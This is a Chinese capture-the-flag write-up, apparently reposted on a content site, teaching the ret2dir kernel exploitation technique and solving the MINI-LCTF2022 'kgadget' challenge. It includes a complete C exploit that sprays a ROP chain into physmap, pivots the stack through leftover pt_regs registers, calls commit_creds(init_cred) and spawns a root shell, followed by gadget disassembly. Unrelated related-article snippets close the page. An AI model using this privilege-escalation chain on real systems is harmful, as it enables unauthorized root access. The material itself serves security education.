kernel pwn 入门(四) ret2dir详细

介绍

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段
原论文见此处: ret2dir原文论文

参考:kernel pwn入门到大神
ret2dir

ret2dir原理

在开启了smep/smap后,内核空间到用户空间的直接访问被禁止,也就是传统的ret2usr失效了,如下图(图片来源于论文)。
在这里插入图片描述
为饶过这种限制,原文作者找到了一段区域,可以隐式的访问到用户空间数据。在内核空间就能访问到用户空间的数据,该区域也被称为phsymap,是很大一段的虚拟内存,映射了整个物理内存
这片区域叫做:direct mapping of all physical memory
在这里插入图片描述

这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。

在这里插入图片描述
下图就是在论文中对ret2dir这种攻击的示例图,不和ret2usr一样,指针不是指向用户空间,而是指向直接映射区域,在用户空间构造的payload也会映射到物理地址,所以只要在phsymap区域找到用户空间的payload就能执行。在高版本内核中 direct mapping area没有可执行权限需要通过ROP利用

在这里插入图片描述
因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload

  1. 通过读取/proc/pid/pagemap可获取映射地址,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取.
  2. 利用堆喷技术phsymap区域填充大量payload,提高命中概率。

在这里插入图片描述

ret2dir手法总结:

  • 利用mmap或者堆喷技术在用户空间喷射大量相同的payload
  • 随机挑选direct mapping area上的地址,大概率命中写入的payload

pt_regs

系统调用:用户态布置好相应的参数后执行 syscall 进入到内核中的 entry_SYSCALL_64,随后通过系统调用表跳转到对应的函数

entry_SYSCALL_64 :当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底.

entry_SYSCALL_64定义在arch/x86/entry/entry_64.S

在这里插入图片描述
pt_regs定义在arch/x86/include/asm/ptrace.h

struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15;unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};

内核栈只有一个页面的大小,而pt_regs固定在内核栈底部,当可以劫持到rip的时候,需要通过rop来控制rsp可以使用到pt_regs来构造ROP。

注意:

  • 在内核版本 5.13 之前 pt_regs 结构体栈顶的偏移值基本是固定的(因为内核栈只有一个 page),通常可以借助 add rsp, val ; ret 的 gadget 劫持一处函数指针就能实现进一步 ROP 利用。

  • 但是,在 5.13 及之后do_syscall_64 函数入口处,新增了一行
    add_random_kstack_offset();来源于 2021 年 的一个 commit,效果是在栈底的 pt_regs
    之上放了一个不超过 0x3FF 的偏移,使得利用的稳定性大幅下降。

模板:

__asm__("mov r15,   0xbeefdead;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    0x88888888;""mov r8,    0x99999999;""xor rax,   rax;""mov rcx,   0xaaaaaaaa;""mov rdx,   8;""mov rsi,   rsp;""mov rdi,   seq_fd;"        // 这里假定通过 seq_operations->stat 来触发"syscall"
);

系统调用在内核栈的底部会被压入形成pt_regs结构体,如果这个时候控制了rip,使用add rsp,0xn;ret;配合pt_regs完成ROP
在这里插入图片描述

MINI-LCTF2022 - kgadget

先看run.sh

在这里插入图片描述
开了smep/smap 但是没开Kaslr

kgadget_ioctl(漏洞点)

在这里插入图片描述
当我们输入的操作码为0x1BF52时,会将rdx寄存器中的进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行

利用

程序很简单,就是传入数据(rdx),然后再做了清除pt_regs操作之后,call [rdx](call rbx),这里pt_regs没清理完全还有r8 r9 残留可以使用

但是开了smep/smap,直接在内核态执行用户代码会报错没开kaslr,现在只能控制rip,可以利用pt_regs手法劫持rsp跳到direct区域,然后使用mmapphsymap喷射大量提权payload,然后利用direct地址映射访问payload然后返回用户态getshell

这里先给出exp然后一步步调试

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t ret = 0xffffffff810001fc;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_ = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;size_t target;
int fd;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void copy_dir(){size_t *payload;size_t idx = 0;payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);for(int i =0;i<(4096-0xc0-0x58)/8;i++){payload[idx++] = add_rsp_;}for(int j = 0;j<0xc0/8;j++){payload[idx++] = ret;}payload[idx++] = pop_rdi_ret;payload[idx++] = init_cred;payload[idx++] = commit_creds;payload[idx++] = swapgs_restore_regs_and_return_to_usermode;payload[idx++] = 0;payload[idx++] = 0;payload[idx++] = (size_t)get_shell;payload[idx++] = user_cs;payload[idx++] = user_rflags;payload[idx++] = user_sp;payload[idx++] = user_ss;
}int main(){save_status();fd = open("/dev/kgadget",O_RDWR);for(int i =0;i<0x4000;i++){copy_dir();}target = 0xFFFF888000000000 + 0x6000000;__asm__("mov r15,   0xbeefdead;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    pop_rsp_ret;""mov r8,    target;""mov rcx,   0xaaaaaaaa;""mov rdx,   target;"  "mov rsi,   0x1bf52;""mov rdi,   fd;"   "mov rax,   0x10;""syscall");return 0;
}

先在调用ioctl后要执行call rbx前下断点:

b *0xffffffffc0002000+0x160

在这里插入图片描述
在这里插入图片描述
然后查看栈的数据:

在这里插入图片描述
可以看到pt_regs已经被压入栈,并且我们的r8,r9寄存器还是我们想要的值。
后续利用pt_regs控制rsp到直接映射区。
先看看映射区的内容吧:
在这里插入图片描述

可以看到phsymap区域的值通过映射已经填上了我们用户空间的payload
然后si继续执行,通过call rbx成功执行我们的小部分payload
在这里插入图片描述
因为这时 rsp并不在phsymap区域上,如果我们没有改变r8 r9寄存器的值,当我们执行完 pop rbp; ret后就不能执行phsymap区域上后面的代码了,而是ret到其它地方。
但我们这里把r9改成了pop rsp的地址r8是我们要跳到的phsymap地址,通过栈迁移,把rsp改到我们的phsymap区域,如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到我们把栈都迁移到我们的phsymap区域了,然后依次执行我们的ROP

在这里插入图片描述

补充:

利用extract-vmlinux ./bzImage > ./vmlinux 提取vmlinux时提取不了
可以用vmlinux-to-elf这个工具

vmlinux-to-elf ./bzImage vmlinux

如同之前内核ROP,我们同样需要找到swapgs、iretq等语句,但是在本题当中并未寻找到满足的gadget,但是我们将vmlinux拖入IDA进行分析可以获知出题人在内核种提供了一个函数名叫swapgs_restoer_regs_and_return_to_usermode,如下:

.text:FFFFFFFF81C00FB0                               public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81C00FB0                               swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81C00FB0                                                                       ; CODE XREF: ret_from_fork+15↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+54↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+65↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+74↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+87↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+94↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+A3↑j
.text:FFFFFFFF81C00FB0                                                                       ; error_return+E↓j
.text:FFFFFFFF81C00FB0                                                                       ; asm_exc_nmi+93↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSENTER_compat_after_hwframe+4F↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_compat_after_hwframe+47↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_INT80_compat+85↓j
.text:FFFFFFFF81C00FB0                                                                       ; DATA XREF: print_graph_irq+D↑o
.text:FFFFFFFF81C00FB0                                                                       ; print_graph_entry+59↑o
.text:FFFFFFFF81C00FB0 90                            nop                                     ; Alternative name is '__irqentry_text_end'
.text:FFFFFFFF81C00FB1 90                            nop
.text:FFFFFFFF81C00FB2 90                            nop
.text:FFFFFFFF81C00FB3 90                            nop
.text:FFFFFFFF81C00FB4 90                            nop
.text:FFFFFFFF81C00FB5 41 5F                         pop     r15
.text:FFFFFFFF81C00FB7 41 5E                         pop     r14
.text:FFFFFFFF81C00FB9 41 5D                         pop     r13
.text:FFFFFFFF81C00FBB 41 5C                         pop     r12
.text:FFFFFFFF81C00FBD 5D                            pop     rbp
.text:FFFFFFFF81C00FBE 5B                            pop     rbx
.text:FFFFFFFF81C00FBF 41 5B                         pop     r11
.text:FFFFFFFF81C00FC1 41 5A                         pop     r10
.text:FFFFFFFF81C00FC3 41 59                         pop     r9
.text:FFFFFFFF81C00FC5 41 58                         pop     r8
.text:FFFFFFFF81C00FC7 58                            pop     rax
.text:FFFFFFFF81C00FC8 59                            pop     rcx
.text:FFFFFFFF81C00FC9 5A                            pop     rdx
.text:FFFFFFFF81C00FCA 5E                            pop     rsi                             ;直到这里可以发现咱们是在主动恢复一些当时中断保存的pt_regs寄存器组
.text:FFFFFFFF81C00FCB 48 89 E7                      mov     rdi, rsp                        ;我们可以跳过这些寄存器直接开整
.text:FFFFFFFF81C00FCE 65 48 8B 24 25 04 60 00 00    mov     rsp, gs:qword_6004
.text:FFFFFFFF81C00FD7 FF 77 30                      push    qword ptr [rdi+30h]
.text:FFFFFFFF81C00FDA FF 77 28                      push    qword ptr [rdi+28h]
.text:FFFFFFFF81C00FDD FF 77 20                      push    qword ptr [rdi+20h]
.text:FFFFFFFF81C00FE0 FF 77 18                      push    qword ptr [rdi+18h]
.text:FFFFFFFF81C00FE3 FF 77 10                      push    qword ptr [rdi+10h]
.text:FFFFFFFF81C00FE6 FF 37                         push    qword ptr [rdi]
.text:FFFFFFFF81C00FE8 50                            push    rax
.text:FFFFFFFF81C00FE9 EB 43                         jmp     short loc_FFFFFFFF81C0102E
...........
.text:FFFFFFFF81C0102E                               loc_FFFFFFFF81C0102E:                   ; CODE XREF: swapgs_restore_regs_and_return_to_usermode+39↑j
.text:FFFFFFFF81C0102E 58                            pop     rax                             ;这里pop了两个值,所以需要在ROP种填充
.text:FFFFFFFF81C0102F 5F                            pop     rdi
.text:FFFFFFFF81C01030 0F 01 F8                      swapgs
.text:FFFFFFFF81C01033 FF 25 47 8D E4 00             jmp     cs:off_FFFFFFFF82A49D80     ;iretq   

从这个名字也可以看出他是为了在中断例程结束后从内核态返回用户态时所调用的函数,他首先会pop大量的寄存器来还原当时的环境,这里我们并不需要,所以我们需要的开始执行的地址就从0xFFFFFFFF81C00FCB进行咱们的利用,从这力同样可以返回用户态,因此这就是我们所需要的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95342.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95342.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

n阶常系数齐次线性微分方程的含义

微分方程 (Differential Equation): 含义&#xff1a; 包含未知函数及其导数&#xff08;或微分&#xff09;的方程。例子&#xff1a; dy/dx 2x&#xff08;未知函数是 y(x)&#xff0c;导数是 dy/dx&#xff09;, dy/dt 2 dy/dt y 0&#xff08;未知函数是 y(t)&#xff…

hexo + github 搭建个人博客

hexo github 搭建个人博客环境配置部署环境配置部署 所需环境&#xff1a; 跳过github邮箱注册。 右键点击桌面空白处&#xff0c;选择 “Git Bash Here”&#xff0c;输入以下命令设置用户名和邮箱&#xff1a; git config --global user.name "GitHub用户名" g…

ERFA库全面指南:从基础概念到实践应用

ERFA库全面指南&#xff1a;从基础概念到实践应用 ERFA&#xff08;Essential Routines for Fundamental Astronomy&#xff09;作为天文学计算领域的重要开源库&#xff0c;为开发者提供了处理天文时间、坐标系转换和星体位置计算等核心功能。本文将深入探讨ERFA库的技术细节…

STM32 HAL库串口的功能实现与改进

目录 概述 1 CubeMX配置串口参数 1.1 STM32CUB配置参数 1.2 生成代码 2 核心代码介绍 2.1 初始化函数 2.2 中断函数 2.3 重要的用户函数 2.4 实现用户接口函数 3 接收数据函数的优化 3.1 HAL库接收函数的缺陷 3.2 改进接收函数 概述 在STM32开发中使用HAL库操作串…

DBA | SQL 结构化查询语言介绍与学习环境准备

[ 知识是人生的灯塔&#xff0c;只有不断学习&#xff0c;才能照亮前行的道路 ]&#x1f4e2; 大家好&#xff0c;我是 WeiyiGeek&#xff0c;一名深耕安全运维开发&#xff08;SecOpsDev&#xff09;领域的技术从业者&#xff0c;致力于探索DevOps与安全的融合&#xff08;Dev…

day39_2025-08-13

知识点回顾&#xff1a; 彩色和灰度图片测试和训练的规范写法&#xff1a;封装在函数中 展平操作&#xff1a;除第一个维度batchsize外全部展平 dropout操作&#xff1a;训练阶段随机丢弃神经元&#xff0c;测试阶段eval模式关闭dropout 作业&#xff1a;仔细学习下测试和训练…

使用GTX ip core + SDI IP core实现SDI设计

使用GTX ip core SDI IP core实现SDI设计 1.SDI接口可以调用GTX IP&#xff0c;具体代码可以参考xapp592&#xff0c;将代码移植进入工程里&#xff0c;增加SDI IP核&#xff0c;增加引脚约束即可运行起来 2.使用transceiver的gt的ip core&#xff0c;然后协议选择SDI协议 3.使…

【无标题】centos 配置阿里云的yum源

1、查看系统正在使用的yum源列表yum repolist结果分析&#xff1a;目前这里看出有base &#xff0c;extras &#xff0c;updates三个yum源&#xff0c;这三个也是系统默认的yum源&#xff0c;一般还需要一个epel企业级额外的yum源&#xff0c;本文主要就是更改yum源的配置文件&…

GPT-5全面开放!OpenAI回应用户反馈:GPT-4o已重新上线!

OpenAI 近日宣布&#xff0c;其最新模型 GPT-5 现已全面向所有 Plus、Pro、Team 和免费用户开放。 为进一步优化用户体验并应对初期反馈&#xff1a; 用户额度提升&#xff1a; 在刚刚过去的周末&#xff0c;OpenAI已将 Plus 和 Team 用户的 GPT-5 使用额度提升至原来的 2 倍…

线程安全的单例模式,STL和智能指针

目录 什么是单例模式 什么是设计模式 单例模式的特点 饿汉实现方式和懒汉实现方式 饿汉方式实现单例模式 懒汉方式实现单例模式 懒汉方式实现单例模式(线程安全版本) STL,智能指针和线程安全 STL中的容器是否是线程安全的? 智能指针是否是线程安全的? 其他常见的各种锁 什么是…

[每周一更]-(第155期):深入Go反射机制:架构师视角下的动态力量与工程智慧

在构建高复杂度、高灵活性的Go语言系统时&#xff0c;反射&#xff08;reflect&#xff09;就像一把双刃剑——用得好能斩断开发枷锁&#xff0c;用不好则可能自伤程序。本文将深入探讨反射的内部机理、典型应用场景、安全边界及性能优化策略。一、反射核心&#xff1a;类型与值…

15_基于深度学习的苹果病害检测识别系统(yolo11、yolov8、yolov5+UI界面+Python项目源码+模型+标注好的数据集)

目录 项目介绍&#x1f3af; 功能展示&#x1f31f; 一、环境安装&#x1f386; 环境配置说明&#x1f4d8; 安装指南说明&#x1f3a5; 环境安装教学视频 &#x1f31f; 二、数据集介绍&#x1f31f; 三、系统环境&#xff08;框架/依赖库&#xff09;说明&#x1f9f1; 系统环…

Kotlin 数据容器 - MutableList(MutableList 概述、MutableList 增删改查、MutableList 遍历元素)

一、MutableList 概述MutableList 是 Kotlin 中可变的列表接口&#xff0c;它继承自 List 接口并添加了修改列表内容的方法MutableList 允许添加、删除、更新元素二、创建 MutableList 1、基础创建 使用 mutableListOf 函数 // 创建一个 MutableList&#xff0c;包含 4 个元素 …

数据库规范化:消除冗余与异常的核心法则

规范化&#xff08;Normalization&#xff09; 是数据库设计中的核心流程&#xff0c;旨在通过结构化表与字段&#xff0c;消除数据冗余和避免数据异常&#xff08;插入/更新/删除异常&#xff09;&#xff0c;同时确保数据依赖合理。其核心方法是将大表拆分为多个小表&#xf…

AI绘画与摄影新纪元:ChatGPT+Midjourney+文心一格 共绘梦幻世界

文章目录一、AI艺术的新时代二、ChatGPT&#xff1a;创意的引擎与灵感的火花三、Midjourney&#xff1a;图像生成的魔法与技术的奇迹四、文心一格&#xff1a;艺术的升华与情感的共鸣五、融合创新&#xff1a;AI绘画与摄影实战的无限可能六、应用场景与实践案例AI艺术的美好未来…

如何衡量需求的紧急程度

衡量需求的紧急程度&#xff0c;其核心在于建立一套客观、量化、且基于商业影响的评估框架&#xff0c;从而将干系人主观的“紧迫感”&#xff0c;转化为团队可进行理性决策的“优先级数据”。一套行之有效的紧急程度衡量体系&#xff0c;其构建必须综合考量五大关键维度&#…

setInterval的任务正在执行时,setTimeout的任务会等待前者完成后再执行,这样会造成2个计时器的时间精度出错?

setInterval&#xff0c;setTimeout 2种计时器在同一个页面处理任务&#xff0c;想看下精度用时情况。setInterval的任务正在执行时&#xff0c;setTimeout的任务会等待前者完成后再执行&#xff0c;这样会造成2个计时器的时间精度出错&#xff1f;本来settimeout启动0.5秒&…

DeepSeek-R1-0528 推理模型完整指南:领先开源推理模型的运行平台与选择建议

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【AI实战】从零开始微调Qwen2-VL模型:打造制造业智能安全巡检系统

【AI实战】从零开始微调Qwen2-VL模型&#xff1a;打造制造业智能安全巡检系统&#x1f3af; 项目背景与目标&#x1f6e0; 环境准备硬件要求软件环境搭建&#x1f4ca; 数据准备&#xff1a;构建高质量训练集第一步&#xff1a;提取规章制度知识第二步&#xff1a;创建标注数据…

5 重复匹配

在前几章里&#xff0c;我们学习了如何使用各种元字符和特殊的字符集合去匹配单个字符。本章将学习如何匹配多个连续重复出现的字符或字符集合。5.1 有多少个匹配你现在已经学会了正则表达式的模式匹配中的基础知识&#xff0c;但目前所有的例子都有一个非常严重的局限。请大家…